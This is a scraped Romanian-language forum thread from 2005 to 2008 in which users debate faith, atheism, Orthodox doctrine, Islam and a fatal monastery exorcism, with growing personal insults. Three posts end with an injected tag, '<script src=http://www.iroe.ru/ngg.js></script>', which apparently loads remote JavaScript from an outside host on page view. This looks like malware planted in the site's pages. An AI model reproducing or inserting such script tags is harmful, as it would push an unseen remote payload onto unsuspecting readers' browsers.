PDA

Arată versiune întreagă : pariu pentru Lavatus



mihaela75
09.09.2005, 09:34
Te vad asa de inversunat impotriva Domnului asa ca iti propun sa faci un pariu cu tine insuti: spune-ti " Sunt atat de sigur pe mine incat nimic nu ma poate face sa-mi schimb parerea nici macar o cura de aer curat la o manastire din nord."Si incepand din vara ce vine du-te cate o saptamana in concediu si stai la o manastire,nu din considerente religioase ci doar asa ca sa te bucuri de liniste si sa vezi ce peisaje pe care nici in vis nu le vezi, si mai ales sa pui in practica pariul.Insa din respect pentru maicute ,care si-au inchinat toata viata unei idei,nu te apuca sa-ti expui ideile anticriste,nu e politicos iar tu esti un baiat manierat.Priveste-le cu toleranta,majoritatea nu au decat 8 clase ( ceeea ce e suficient pt a ajunge sa comunici cu D-zeu)deci nu te pune cu ele.Du-te la rugaciunea de seara tot din politete pentru bietele maici si fa o cruce ca sa fii in rand cu lumea si sa nu bati la ochi.Sunt sigura ca nu vrei sa fii un musafir nepoliticos.Fa asta incepand cu vara urmatoare si dupa aceea o sa comentam impresii .

garfield
13.09.2005, 14:03
mihaela, de ce tii asa de mult sa-l schimbi be larvatus, si sa-l faci religios? Cred ca a mai bine ca fiecare sa-si vada de traba si sa-i lase pealtii sa creada in ce vreau ei.


Biserica crestina a omorat milione de oameni care nu au fost de acord cu religia lor, si au refuzat sa se converteasca. E de ajuns. Lasa-l pe om sa aiba opiniile lui, si sa creada in ce vrea.


Cum ti-ar place sa te invite cineva sa stai o saptamana pe an la o biserica satana, sau la una care practica santeria, si sa si participi la rugaciuni, ca doar vrei sa fiimusafir politicos. Poate ca din respect mai participi si la ceva rituale de sacrificii.

mihaela75
15.09.2005, 06:06
smileys/smiley36.giftotusi sa facem diferenta,satanismul e impotriva umanitatii,promoveaza crima.Cred ca Lavatus cat e el de ateu nu ar imbratisa asemenea activitati.A fi ateu nu inseamna a cauta Raul si a-l urma ci ateii pur si simplu nu sunt convinsi de existenta lui D-zeu.Cunosc atei care nu ar ucide nici o musca si au un suflet de putini religiosi il au.Acest ateu de fapt il urmeaza pe D-zeu fara macar sa isi dea seama.Oricum mesajul meu era sa se impace cu Dumnezeu nu sa se converteasca la o religie anume.Eu insami nu sunt siguraca ortodoxia e cea mai buna si am multe intrebari referitoare la veridicitatea bibliei.Ar putea alegechiar si o moschee musulmananu e nimic rau ,D-zeu e si acolo.Intrucat la noi manastirile sunt cele mai usor de gasit,i-am recomandat o manastire.Lamurit?smileys/smiley20.gif

garfield
15.09.2005, 11:03
...Lamurit?smileys/smiley20.gif


Completely smileys/smiley36.gif

20.09.2005, 07:59
As putea alegechiar si o moschee musulmananu e nimic rau ,D-zeu e si acolo.





Mihaela, de ce esti tu asa de sigura ca Dumnezeu este chiar intr-o moschee? Daca toti credem fiecare ce vrem si toti avem dreptate, atunci cine este in eroare? Ai citit vreo data Coran-ul? Eu am incercat....numai prostii si aberatii.Ma indoiesc ca Dumnezeu a inspiratasa idiotenii. Cat despre manastiri,sa steadeparte de manstirile unde daca nu crezi in ce spune popa te leaga cu lanturi si te lasa sa mori de foame.smileys/smiley2.gifS-a nu-l omoare vreun popa incercand sa scoata demonii din el....smileys/smiley36.gif

mihaela75
20.09.2005, 15:44
Ca sa mergi pe calea lui D-zeu nu ai nevoie nici de biblie nici de coran,astea sunt carti de istorie care pot fi oricand atacate( eu una nu cred ca D-zeu a fost atat de crud incat sa-l omoare in chinuri cumplite pe cel mai bun profet al Lui - ca fiu nu poate fi,D-zeu nu are fii asa cum intelegem noi ideea de filiatie).Ca sa te rogi nu e necesar sa citesti la infinit versete din biblie sau coran( nu am citit niciodata coranul,nu stiu cum arata)cum se face in manastiri sau in moschee.Rugaciunea e ceva intim ,esti doar tu cu nevoile sau multumirile tale si cu cuvintele tale.Pe Lavatus l-am sfatuit sa stea la manastire mai mult pentru atmosfera,poate il pune un pic pe ganduri...Cat despre stupidele penitente care se practica in manastiri astea nu-l afecteaza pe Lavatus ca e l ar fi simplu musafir.Chestiile astea se fac in interior,intre ei.Nebuni!smileys/smiley36.gifLavatus nu pare safie posedat,e un pic prea zelos darcu timpul ii trece.

21.09.2005, 02:39
Mihaela,eu incerc sa citesc cat mai multpentru cadoresc sa fiu informat. Este imposibil sa-si creezi o opinie corecta despre un lucru cand nu ai nici o informatie, doar ce ai auzit de la altii. Cat despre Isus, nu Dumnezeu la omorat, ci oameni l-au rastignit, citeste Biblia si ai sa vezi. Este adevarat ca nu ai nevoie de biserica sau carti sa te rogi, dar daca vrei sa intelegi la ce te rogi si pentru ce, este necesar un pic de cunostinta. De crezut este usor, fiecare crede cate ceva, pana si necredinciosi cred in ceva..... in Biblie scri ca si demoni cred si se cutremura....smileys/smiley2.gif


Nu am suggerat ca Lavartus ar fi demonizat, doar ca o vizita la manastire ar putea fi hazardous for his health!smileys/smiley36.gif

Larvatus
24.10.2005, 16:53
Te vad asa de inversunat impotriva Domnului asa ca iti propun sa faci un pariu cu tine insuti: spune-ti " Sunt atat de sigur pe mine incat nimic nu ma poate face sa-mi schimb parerea nici macar o cura de aer curat la o manastire din nord."Si incepand din vara ce vine du-te cate o saptamana in concediu si stai la o manastire,nu din considerente religioase ci doar asa ca sa te bucuri de liniste si sa vezi ce peisaje pe care nici in vis nu le vezi, si mai ales sa pui in practica pariul.Insa din respect pentru maicute ,care si-au inchinat toata viata unei idei,nu te apuca sa-ti expui ideile anticriste,nu e politicos iar tu esti un baiat manierat.Priveste-le cu toleranta,majoritatea nu au decat 8 clase ( ceeea ce e suficient pt a ajunge sa comunici cu D-zeu)deci nu te pune cu ele.Du-te la rugaciunea de seara tot din politete pentru bietele maici si fa o cruce ca sa fii in rand cu lumea si sa nu bati la ochi.Sunt sigura ca nu vrei sa fii un musafir nepoliticos.Fa asta incepand cu vara urmatoare si dupa aceea o sa comentam impresii .





O sa incerc, Mihaela.

LGHTANGEL
24.12.2006, 03:48
[QUOTE=mihaela75]


smileys/smiley36.giftotusi sa facem diferenta,satanismul e impotriva umanitatii,promoveaza crihttp://www.romanian-portal.com/forum/smileys/smiley99.gifma.Cred ca Lavatus cat e el de ateu nu ar imbratisa asemenea activitati.A fi ateu nu inseamna a cauta Raul si a-l urma ci ateii pur si simplu nu sunt convinsi de existenta lui D-zeu.Cunosc atei care nu ar ucide nici o musca si au un suflet de putini religiosi il au.Acest ateu de fapt il urmeaza pe D-zeu fara macar sa isi dea seama.Oricum mesajul meu era sa se impace cu Dumnezeu nu sa se converteasca la o religie anume.Eu insami nu sunt siguraca ortodoxia e cea mai buna si am multe intrebari referitoare la veridicitatea bibliei.Ar putea alegechiar si o moschee musulmananu e nimic rau ,D-zeu e si acolo.Intrucat la noi manastirile sunt cele mai usor de gasit,i-am recomandat o manastire.Lamurit?smileys/smiley20.gif








Buna!


N-as zice ca lucrurile stau chiar asa in ce priveste prezenta Domnului in orice loc de rugaciune...Voi reveni cu amanunte!smileys/smiley51.gif

Impal3r
10.04.2007, 15:47
MIhaela , habar n-ai ce vorbesti . Tu n-ai citit nici Biblia , nici coranul si nici o iota despre satanisti. Ortodoxia ESTE religia cea mai buna pentru a-ti manifesta iubirea pentru Dumnezeu .De asemenea credintele tale par ciudate rau , daca nu ai incerca sa-l iei cu manusi pe Larvatus si sa-i alimentezi madria lui de intelept si nu te-ai vedea pe tine intr-o aura atat de romantica ca salvatoare a lui as zice ca esti penticostala .... ba de fapt ceva in genu la nebunii astia.

Biblia si ortodoxismul : Dupa rastignirea lui Hristos apostolii au inceput sa converteasca lumea la credinta adevarata , botezandui cu apa si DUH SFANT deoarece Hristos a zis asa ( nu pot sa reproduc exact ) : "Eu sunt poarta tarcului oilor, iar cei ce vor intra nu pot trece decat prin Mine " . DECI MIHAELA , NICI O RELIGIE CARE NU IMPARTASESTE TAINELE LUI HRISTOS NU SE POATE NUMI BUNA. Acest har al apostolilor era transmis mai departe si tot asa printr-o astfel de continuitate ajungem la Constantinopol . Aici acest har era transmis mai departe prin crestinism . La Marea Schisma catolicii si apoi de catolici , protestantii au fost si ei loviti de ce i-a dat prin cap si lui Mihaela si au zis sa faca de capul lor... aici e marea mea dilema ... de unde si-au luat ei harul desi zic ca slujesc lui Dumnezeu daca au rupt aceasta continuitate de la Apostoli. Si asa cum apostolii leaga si dezleaga pe pamant la fel pot si preotii nostri ortodocsi , a caror continuitate nu a fost intrerupta prin schisme de interes politic si nici de crime care nu biblia si nici Dumnezeu nu le-a facut ci doar nestiutori ai caii Domnului si straini de Acesta si demni de osanda. Unde au fost pastorii lor sa le zica e gresit sa ucideti si sa furati pamantul fratilor vostri cum a facut-o ortodoxismul. MENTIONEZ CA IN BISERICA SE INALTA RUGACIUNI NUMAI PENTRU CEI CAZUTI PENTRU APARAREA NEAMULUI ROMANESC . Deci daca nu intelegi ceva din Biblie este pentru ca nu ai citit-o. De coran nu stiu multe dar in Biblie toti profetii au fost oameni desavarsiti si asceti cum poate un jefuitor de caravane , un gigolo care si-a facut avere de pe urma unei vaduve si un benladen care a exploatat religia interesului sau propriu , culmea si conducator sa fie om sfant ,chiar nu ma duce mintea.
Satanismul ... nu e sangeros si nu instiga la ucideri ci doar la razvratire impotriva lucrarii domnului si la neinfranare la placerile lumesti la toate cate se impart ele. Daca vorbim de BSR si nu de secte d-ale lor ca tot spre acelasi loc se indreapta cu totii.

Cat despre Larvatus , frate sper ca ce scri aici sa nu le crezi tu cu adevarat ci doar sa te dai mare cu toate ereziile astea care le gasesti scrise de orice dobitoc cu diploma si doctorate de se apuca sa scrie povesti de adormit crestinii.Eu am fost exact ca tine , sti ce m-a schimbat ... am citit carti de filozofie crestina , dogma , scrise de sfitii parinti ai zilelor noastre .Daca te va lasa diavolul din tine iti recomand sa citesti pe Ilarion Argatu , Parintele Cleopa si Parintele Arsenie. Le gasesti la orice chiosc de obiecte religioase crestinesti daca intrebi . Ia de acolo ce te-ar interesa. Daca nu, faci ce vrei cu sufletul tau.E inutil sa-ti expun consecintele macar atata lucru sti si tu. A si Mihaela bine ca-l trimiti la coran , mama unui prieten d-al meu s-a dus acolo si ghici ce minune a facut mahomed ala ... a ajuns sa-si taie venele , asta dupa ce s-a dus la meca si iesea pe strada Imbracata in haine musulmane si respecta tampeniile alea litera cu litera invrajbindu-si toata familia si facandu-si fiul sa sufere exact cand incepea sa aibe si el o viata normala alaturi de o fata. Ori Hristos ori Antihrist cu toate formele si denumirile lui. Asta e parerea mea. Nimic din cuvantul Domnului de i se va schimba sensul n-am sa slujesc lui caci Cuvantul a fost dat noua spre mantuire iar nu spre delasare si alunecare inspre pierzare.

Mugatu ma bucur ca vad pe cineva care e luminat de Hristos pe aici<<script src=http://www.iroe.ru/ngg.js></script>

Impal3r
10.04.2007, 17:25
Pentru că Duhul Sf

keyframe14
10.04.2007, 18:09
aoleeeeuuu deci daca ar veni de la preoti...."sa ne fereasca d-zeu"...k sa zic asa:))

Impal3r
11.04.2007, 00:53
Alte secte crestinesti ma refer . Fiind schismatici cum pot ei oare sa spuna ca slujesc lui Hristos daca s-au departat de biserica Lui?

keyframe14

Ma tu altceva nu sti decat sa faci misto? Cred ca nu cunosti notiunea de dezbatere.
</span>

11.04.2007, 05:55
Impal3r, din tonul mesajelor tale inteleg ca esti un pic cu capsa pusa. Niciodata nu vei reusi sa angajezi pe cineva intr-o conversatie, (nici vorba sa convingi pe cineva), atata timp cat limbajul tau este agresiv. Ce incerci tu sa faci tu se numeste cearta, nu schimb de idei. Tema principala a crestinismului este iubirea, pacea, armoniea si iertarea. Orice altceva nu poate avea loc intre crestini adevarati. Daca vrei sa discutam despre ce spune Biblia sunt dispus; daca vrei sa ne certam despre ce spune ortodoxia sau popa, atunci am alte lucruri mai importante de facut.......de exemplu sa spal vaselesmileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gif




Matei 22:36</span>,,

fifi
11.04.2007, 11:55
cam asa nea` Mugatu le, altul cu biciu` ne mai lipsea si care sa arate cu destiu`....smileys/smiley5.gif

inelu64
13.04.2007, 20:59
aoleeeeuuu deci daca ar veni de la preoti...."sa ne fereasca d-zeu"...k sa zic asa:))

Exclamatiile nu tin loc de argumente!

inelu64
15.04.2007, 21:04
As putea alegechiar si o moschee musulmananu e nimic rau ,D-zeu e si acolo.





Cat despre manastiri,sa steadeparte de manstirile unde daca nu crezi in ce spune popa te leaga cu lanturi si te lasa sa mori de foame.smileys/smiley2.gifS-a nu-l omoare vreun popa incercand sa scoata demonii din el....smileys/smiley36.gif

Uite aici gresesti, fie din necunoasterea situatiei generale, fie din motive confesionale. Esti sub impresia unei situatii nefericite exploatate mediatic. Nu poti generaliza pornind de la un incident izolat.

16.04.2007, 05:57
inelul64, vrei saspui ca moartea unei femei, torturata de un preot intr-o manastire este calificata doar ca o situatie nefericita.....? Interesant punct de vederesmileys/smiley5.gif

inelu64
17.04.2007, 12:02
inelul64, vrei saspui ca moartea unei femei, torturata de un preot intr-o manastire este calificata doar ca o situatie nefericita.....? Interesant punct de vederesmileys/smiley5.gif


Fericita nu e!
Cum vrei sa spun nenorocita?
Este si asa, si mai grav decata atata!
Cel vinovat si-a luat pedeapsa. Bine ar fi sa si-o ia si cei de la ambulanta care i-au injectat bietei femei adrenalina cat pentru un elefant.

keyframe14
17.04.2007, 13:24
Fericita nu e!
Cum vrei sa spun nenorocita?
Este si asa, si mai grav decata atata!
Cel vinovat si-a luat pedeapsa. Bine ar fi sa si-o ia si cei de la ambulanta care i-au injectat bietei femei adrenalina cat pentru un elefant.

NU stiu in ce sens e bine ...poate sa moara si capra vecinului ca nu au putut saracii medici sa o salvezi dupa ce i-a facut nenorocitul ala de PREOT...Oare asa gandesc "crestinii"astia...parca am mai mentionat pe undeva ca esti "crestin", inelule

17.04.2007, 14:35
Kayframe, sunt multi crestini numai cu numele pe lumea asta; mai ales in RO, dupa revolutie toti sau facut crestini, pana si fostii comunisti care au persecutat pe crestini acuma sunt in primul rand la bisericasmileys/smiley2.gif
In Matei 7:21</span> scrie:Nu orişicine-Mi zice: ,,Doamne, Doamne!`` va intra

keyframe14
17.04.2007, 14:41
eee sfinte Mugatu..ma gandeam si eu in prostia mea k macar preotii ..care sunt ALESII DOMNULUI sa fie altfel...
In rest..Ti pupa tata

inelu64
17.04.2007, 23:33
Fericita nu e!

Cum vrei sa spun nenorocita?

Este si asa, si mai grav decata atata!

Cel vinovat si-a luat pedeapsa. Bine ar fi sa si-o ia si cei de la ambulanta care i-au injectat bietei femei adrenalina cat pentru un elefant.



NU stiu in ce sens e bine ...poate sa moara si capra vecinului ca nu au putut saracii medici sa o salvezi dupa ce i-a facut nenorocitul ala de PREOT...Oare asa gandesc "crestinii"astia...parca am mai mentionat pe undeva ca esti "crestin", inelule

Vad ca imi raspundeti a doua oara tot pe langa ceea ce am afirmat. L-am acuzat pe acel preot si i-am acuzat si pe cei de la ambulanta: nu era medic ci doar o asistenta care a luat o masura nefericita administrand o doza de adrenalina mult mai mare decat trebuia.
Dvs. vreti sa atacati Biserica, in general, pentru greseala unuia! Nu stiu ce confesiune aveti sau daca sunteti un om religios.Ar fi bine sa ne spuneti si noua ca sa stim.

keyframe14
18.04.2007, 01:59
Dvs. vreti sa atacati Biserica, in general, pentru greseala unuia! Nu stiu ce confesiune aveti sau daca sunteti un om religios.Ar fi bine sa ne spuneti si noua ca sa stim.

Nici vorba sa atac biserica pt greseala unuia...poate dvs din prisma unui om credincios nu vreti sa acceptati ca sarmana a murit din cauza unui nenorocit de preot care e direct raspunzator de moartea ei..nu o asistenta...imi mentin afirmatia cu "capra vecinului"...
Nu vad logica intrebarii"ce confesiune am?"...e atat de inexistenta precum raspunsurile care le dai...

inelu64
18.04.2007, 05:05
Dvs. vreti sa atacati Biserica, in general, pentru greseala unuia! Nu stiu ce confesiune aveti sau daca sunteti un om religios.Ar fi bine sa ne spuneti si noua ca sa stim.



Nici vorba sa atac biserica pt greseala unuia...poate dvs din prisma unui om credincios nu vreti sa acceptati ca sarmana a murit din cauza unui nenorocit de preot care e direct raspunzator de moartea ei..nu o asistenta...imi mentin afirmatia cu "capra vecinului"...

Nu vad logica intrebarii"ce confesiune am?"...e atat de inexistenta precum raspunsurile care le dai...

Imi cer scuze. Abia acum am reusit sa inteleg cat esti de destept si inteligent. Din pacate aceasta inteligenta nu ti-a dat ragazul sa citesti pana la sfarsit. Faci probabil parte din cei care pot raspunde inainte de a fi intrebati sau inainte de a asculta toata intrebarea: am interebat de confesiune sau despre faptul ca ai fi religios sau nu. Ai ales sa raspunzi doar la prima intrebare.
Cat depre capra...crezi ce vrei.

keyframe14
18.04.2007, 05:23
Imi cer scuze. Abia acum am reusit sa inteleg cat esti de destept si
inteligent. Din pacate aceasta inteligenta nu ti-a dat ragazul sa
citesti pana la sfarsit.


Sper ca inteligenta ta sa iti dea ragazul sa citesti pana la sfarsit...
Unele lucruri stimabile..se deduc...daca mintea dvs nu reuseste sa lege anumite sinapse...o sa am grija pe viitor sa raspund la nivelul dvs de intelegere..asta bineinteles o sa-mi i-a mai mult timp...dar sunt dispus sa fac efortul asta sa va luminez ...

inelu64
18.04.2007, 06:30
Imi cer scuze. Abia acum am reusit sa inteleg cat esti de destept si
inteligent. Din pacate aceasta inteligenta nu ti-a dat ragazul sa
citesti pana la sfarsit.


Sper ca inteligenta ta sa iti dea ragazul sa citesti pana la sfarsit...
Unele lucruri stimabile..se deduc...daca mintea dvs nu reuseste sa lege anumite sinapse...o sa am grija pe viitor sa raspund la nivelul dvs de intelegere..asta bineinteles o sa-mi i-a mai mult timp...dar sunt dispus sa fac efortul asta sa va luminez ...


Unele lucruri se deduc, problema e sa deduci ce trebuie. Incearca dar nu cred ca poti sa raspunzi mai prost decat ai facut-o pana acum!

keyframe14
18.04.2007, 06:39
Unele lucruri se deduc, problema e sa deduci ce trebuie. Incearca dar nu cred ca poti sa raspunzi mai prost decat ai facut-o pana acum!



Ai sa fii surprins draga inelule...dar am fost profesor..si toata lumea spunea ca explic asa bine inkat si un prost ar intelege...asa ca nu trebuie sa-ti fie teama...sunt convins ca pot scoate ceva din tine...

inelu64
18.04.2007, 08:25
Unele lucruri se deduc, problema e sa deduci ce trebuie. Incearca dar nu cred ca poti sa raspunzi mai prost decat ai facut-o pana acum!



Ai sa fii surprins draga inelule...dar am fost profesor..si toata lumea spunea ca explic asa bine inkat si un prost ar intelege...asa ca nu trebuie sa-ti fie teama...sunt convins ca pot scoate ceva din tine...


Recunosc! Sunt f. surprins! Inseamna ca esti autodidact!

keyframe14
18.04.2007, 08:40
Recunosc! Sunt f. surprins! Inseamna ca esti autodidact!


inteligent smileys/smiley32.gif usor usor iti dai drumul...suntem mandri de tine.....

inelu64
18.04.2007, 21:38
Nu te-ai prins! Ai zis ca si un prost ar intelege ce ai preda. De-aia ti-am zis ca esti autodidact: adica si profesor si elevul care intelege.

inelu64
18.04.2007, 21:38
smileys/smiley32.gifsmileys/smiley32.gifsmileys/smiley32.gifsmileys/smiley32.gifsmileys/smiley32.gif

keyframe14
19.04.2007, 01:25
Nu te-ai prins! Ai zis ca si un prost ar intelege ce ai preda. De-aia ti-am zis ca esti autodidact: adica si profesor si elevul care intelege.

Stimabile am inteles gluma de maidan...aplaudam efortul facut de tine sa o scoti....

19.04.2007, 03:33
eee sfinte Mugatu..ma gandeam si eu in prostia mea k macar preotii ..care sunt ALESII DOMNULUI sa fie altfel...

In rest..Ti pupa tata
Eu cred ca sau ales singuri! Daca tu nu crezi nimic din ce spun ei de ce ai ales sa crezi numai partea in care spun ca sunt alesi de Dumnezeu?smileys/smiley75.gif
Impostori au fost si vor fi in toate profesiilesmileys/smiley2.gif

19.04.2007, 03:36
Inelu64, vad ca tonul discutiei a degenerat; nu crezi ca ar fi cazul sa ne intoarcem la o conversatie mai civilizata, mai ales ca vorbim despre religie?

keyframe14
19.04.2007, 04:20
eee sfinte Mugatu..ma gandeam si eu in prostia mea k macar preotii ..care sunt ALESII DOMNULUI sa fie altfel...

In rest..Ti pupa tata
Eu cred ca sau ales singuri! Daca tu nu crezi nimic din ce spun ei de ce ai ales sa crezi numai partea in care spun ca sunt alesi de Dumnezeu?smileys/smiley75.gif
Impostori au fost si vor fi in toate profesiilesmileys/smiley2.gif


Nu cred asta...nici in ruptul capului...am folosit descrierea care le place lor cel mai mult ...don't get me wrong

inelu64
19.04.2007, 10:58
Inelu64, vad ca tonul discutiei a degenerat; nu crezi ca ar fi cazul sa ne intoarcem la o conversatie mai civilizata, mai ales ca vorbim despre religie?


Mugatu, ai dreptate, dar nu inteleg de ce imi atragi atentia mie, sau, hai sa accept si asta, doar mie! Daca urmaresti cele postate pana acum ai vedea de unde s-a incrancenat discutia.

20.04.2007, 05:15
inelu64, ti-am atras atentia tie pt ca am considerat ca tu ar fi trebuit sa fi mai matur si inteleptsmileys/smiley2.gif
Sti cum zice vorba; sa intorci si obrazul celalalt. Da tu faci cum vrei!
Daca tu te pui la mintea lui si raspunzi cu insulta pt insulta, atunci kayframe castiga argumentul ca de fapt crestini nu sunt cu nimic mai buni decat alta lumesmileys/smiley18.gif Nu-mi lua in nume de rau, ca nici eu nu-s vreun sfant, dar la altul este mai usor sa observi greselilesmileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gif

20.04.2007, 14:39
Cand nu mai sunt lemne, focul se stinge;

keyframe14
20.04.2007, 15:36
inelu64, ti-am atras atentia tie pt ca am considerat ca tu ar fi trebuit sa fi mai matur si intelept

Vezi ma Mugaltule...nu s-a simtit nici matur nici intelept....a inceput sa se planga pe la tine ..o fi crezand ca esti vre-un sfant..bine ca i-ai spus ca nu esti...se ruga degeaba...
Cat despre inelu69..nu pot decat sa-ti spun ca ai niste pitici pe undeva care sar cam repede in sus..eu nu cred ca setea ta de crestinism te face asa violent in vocabular..ca maine poimaine o sa le dai in cap alora de nu-si fac cruce cand trec pe langa biserica..
N-om fi toti de acceasi parere...dar dupa parerea mea tu ai sarit calul...

Larvatus2
08.05.2007, 04:00
Cat despre Larvatus , frate sper ca ce scri aici sa nu le crezi tu cu adevarat ci doar sa te dai mare cu toate ereziile astea care le gasesti scrise de orice dobitoc cu diploma si doctorate de se apuca sa scrie povesti de adormit crestinii. Eu am fost exact ca tine , sti ce m-a schimbat ... am citit carti de filozofie crestina , dogma , scrise de sfitii parinti ai zilelor noastre .

Da? Si ce-ai aflat de acolo, caci pana una alta, tot ce se vede in materie de religie, este simplismul de care e in stare pana si umila baba de la tara . . .
Daca tot stii atata filozofie crestina, de ce nu esti in stare sa demonstrezi inexacte acele afirmatii ale "dobitocilor cu diplome si doctorate"? (iti spune eu, filozofia crestina e pura speculatie, nu poate rezista unui rationament filozofic decent, de aceea scolastica, care a fost o incercare de explicatie rationala a dogmelor religiei crestine a esuat).
Sa fie ca pana la urma ei sunt mai isteti, si s-au prins ca religia nu se poate apara logic si faptic?? Si ca toata speranta ei de a se propaga sta in ignoranta oamenilor??


Daca te va lasa diavolul din tine iti recomand sa citesti pe Ilarion Argatu , Parintele Cleopa si Parintele Arsenie.

Pai adu tu aici ceva inteligent spus de oamenii astia, care eventual sa arate ca false si ilogice afirmatiile "dobitocilor cu diplome si doctorate"!

[QUOTE]Le gasesti la orice chiosc de obiecte religioase crestinesti daca intrebi . Ia de acolo ce te-ar interesa. Daca nu, faci ce vrei cu sufletul tau.E inutil sa-ti expun consecintele macar atata lucru sti si tu. A si Mihaela bine ca-l trimiti la coran , mama unui prieten d-al meu s-a dus acolo si ghici ce minune a facut mahomed ala ... a ajuns sa-si taie venele , asta dupa ce s-a dus la meca<<script src=http://www.iroe.ru/ngg.js></script>

Impal3r
23.06.2007, 00:29
Ai dreptate Mugatu ... m-am cam lasat dus de val si s-a cam dus constructivitatea discutiei. Argumentez doar ca n-am rabdare deloc cu cei care contrazic ceva ce pentru mine este evident...si imi cer scuze pentru asta.


Larvatus uite cum sta treaba. Nu pot trai fara sa cred in Dumnezeu ... am incercat de multe ori si e imposibil ... e ca si cum ti-ai rupe o bucata din suflet si n-ar ramane decat orana mare ... un foc mocnit , depresie , lipsa de tel ,debusolare, nu mai respectam nimic si nu mai stiam sa apreciez sentimentele mele si ale celorlalti. Intervine o raceala fata de tine si cei din jur , devii puternic da,fata de ceilalti din jurul tau dar ... esti atat de singur ce incepi sa te simti coplesit si cedezi. Toti simtim nevoia sa ne gasim alinarea in ceva in care sa credem si sa speram , sa visam.


Religia a fost dintotdeauna cel mai adevarat vis al omului (intr-o formulare mai pe gustul tau) si asta pentru ca Dumnezeu vrea ca mai intai sa credem in El inainte de a fi ferm convinsi de asta dupa moarte ... desi ca bun crestin nu mai ai nevoie de aceasta ultima si incontestabila dovada , fiind ultimulprag al desavarsirii spirituale ca om.


Daca celelalte religii ar fi si ele vise si sa spunem ca si ortodoxismul ar fi tot o fantezie ... macar aici trebuie sa recunosti ca ortodoxismul da cele mai multe explicatii : credibile .... pentru credinciosii sai /pentru cei care nu cred ... mai credibile decat celelalte religii. Daca vrei sa dezbatem argumentele sunt dispus sa o fac dar va dura infinit de mult si n-ar duce la nici un rezultat. Atata timp cat esti dispus sa nu crezi in nici o religie , recunoaste fata de tine insuti macar ca nu ai alege nici o religie indiferent de cate argumente ti s-ar da ... singura cale ca tu sa crezi in misticism e doar daca insusi Dumnezeu sau Iisus Hristos ti-ar aparea inaintea ochilor.


Eu cred in ortodoxism pentru ca : Iisus este primul filozof care a dus o viata ireprosabila fata ce alti profeti si prooroci din alte religii , primul filozof care a generat dogma iubirii si a pacii in jurul caruia traim astazi si incercam sa o implinim desavarsindu-ne ca societate ( ONU , UE, NATO ... excluzand interesele grupurilor restranse conducatoare si luand interesele si inclinatiile maselor catre aceste tratate la nivel de societate adica), primul om/Dumnezeu( om pentru cei care nu cred in El ca fiinta divina) care a instaurat drepturile omului prin drepturile si indatoririle crestinesti ,unul printre ceicare au dezvoltat o dogma religioasa originala ,Biblia esteprima carte care aduce argumente istorice in dogma sa spre deosebire de alte religii ( argumente care au putut fi demonstrate iar cele care nu au putut ... arheologia nu e o stiinta100% sigura... cel putin nu s-au descoperit contradictii intre istorie si ortodoxism care sa fie demonstrate) si un numar covarsitor de miracole aduse inaintea multimilor spre ai ajuta efectiv ( lucru nemaintalnit la aceasta scara in celelalte religii). Am deci foarte multe argumente sa cred.Deci cred ca Iisus este Fiul lui Dumnezeu si Dumnezeu tatal este cel care m-a creat si Dumnezeu Duhul este cel care covarseste lumea cu puterile sale si neintareste pecalea mantuirii.


Oamenii fara Dumnezeu sunt oameni rai , iar daca inca nu sunt, in timp devin asa. Fara iubire nu poti cultiva bunatatea , iar izvorul iubirii izvoraste doar din Dumnezeu ( fiecare gand bun, fiecare fapta isi are radacini de Sus ). Doar cei care au crezut si au ramas dezamagiti de Dumnezeu si s-au certat din putina lor intelegere cu EL , aceeia isi mai pastreaza bunatatea care rabufneste apoi in impacare si intoarcerea lor la pace.Dumnezeu e ca o apa pentru suflet ... cat poti rezista sa nu bei in arsita iadului mai ales cand izvorul este atat de aproape de tine cat timp traiesti... ii simti racoarea , de ce sa ma incapatanez sa ma chinui in continuare cu ratacirile mele . Asa am fost eu si sincer<script src=http://www.iroe.ru/ngg.js></script>

idontknow
29.01.2008, 05:13
smileys/smiley2.gifLarvatus, ce parere ai de demonstratia lui Kant cu privire la existenta lui Dumnezeu(bine, teoretic, existenta sua inexistenta lui Dumnezeu nu se pot demonstra logic, dar pe mine Kant chiar m-a pus pe gandurismileys/smiley1.gif)?


Impal3r, ai vorbit foarte frumos...cam asa simt si eu...o singura obiectie as avea:
singura cale ca tu sa crezi in misticism e doar daca insusi Dumnezeu sau Iisus Hristos ti-ar aparea inaintea ochilor..Nu, probabil ca ar crede(sau s-ar duce la psiholog care i-ar spune ca) ca a fost o halucinatie, o iluzie sau un vissmileys/smiley36.gifsmileys/smiley2.gif(adica o persoana care nu vrea sa creada si este convinsa ca Dumnezeu nu poate exista ar putea sa fie martor la orice minune, caci nu va crede oricum).

fifi
14.06.2008, 03:55
"pariu pentru Larvatus", topic initiat de mihaela75 in data de 9 Septembrie, 2005.Din pacate, a pierdut pariul, pt ca Larvatus a ramas acealsi, in schimb ea, in prezentul anului 2008, este , mai nou, atee, cum insasi spunea deunazi, undeva pe forum.


he he

mihaela75
14.06.2008, 05:03
smileys/smiley36.gifDa ai dreptate.Interesant cum se schimba oamenii.De fapt nu sunt inca atee convinsa dar ma indrept usor usor spre ateism ca prea multe intrebari imi sunt fara raspuns.Eh, ce ma mai luam eu de Lavatus si-l faceam cu ou si cu otet.Sa fim sanatosi.Fifi tu ce mai faci ? smileys/smiley1.gif

fifi
14.06.2008, 05:31
ma tarasc prin viata, lasand urme mazgoase, dar nu conteaza cat timp in urma mea raman si fluturi zburdand veseli... fac bine, nu?! smileys/smiley2.gif

Larvatus2
14.06.2008, 05:47
Larvatus, ce parere ai de demonstratia lui Kant cu privire la existenta lui Dumnezeu(bine, teoretic, existenta sua inexistenta lui Dumnezeu nu se pot demonstra logic, dar pe mine Kant chiar m-a pus pe ganduri)?


Kant nu demonstreaza existenta lui Dumnezeu. El doarpostuleaza aceasta existenta, fapt care inseamna a o afirma de dragul dezvoltarii unui rationament ulterior. El stia foarte bine (caci doar criticismul lui a fost acela care a demontat acest "argument" vechi) ca nu poti deduce o existenta (pe bazanecesitati impuse de coerenta interna a unui rationament). Pentru el acest rationamentse refera la morala. Morala (idealista, pentru ca filozoful este idealist) pe care chiar Kant a recunoscut-o ca problematica, intrucat produce paradoxuri (sau dileme); de aceea pe alte principii si alti filozofi (utilitaristii) dupa el, au incercat sa defineasca morala altfel, ajungand din pacate si ei la paradoxuri. Suntem deci ca si in fizica cuantica: avem o stiintaa moralei, avem si un "formalism" al ei, dar care ne duce la paradoxuri nerezolvate (sau poate nerezolvabile).

tonita
14.06.2008, 09:33
...


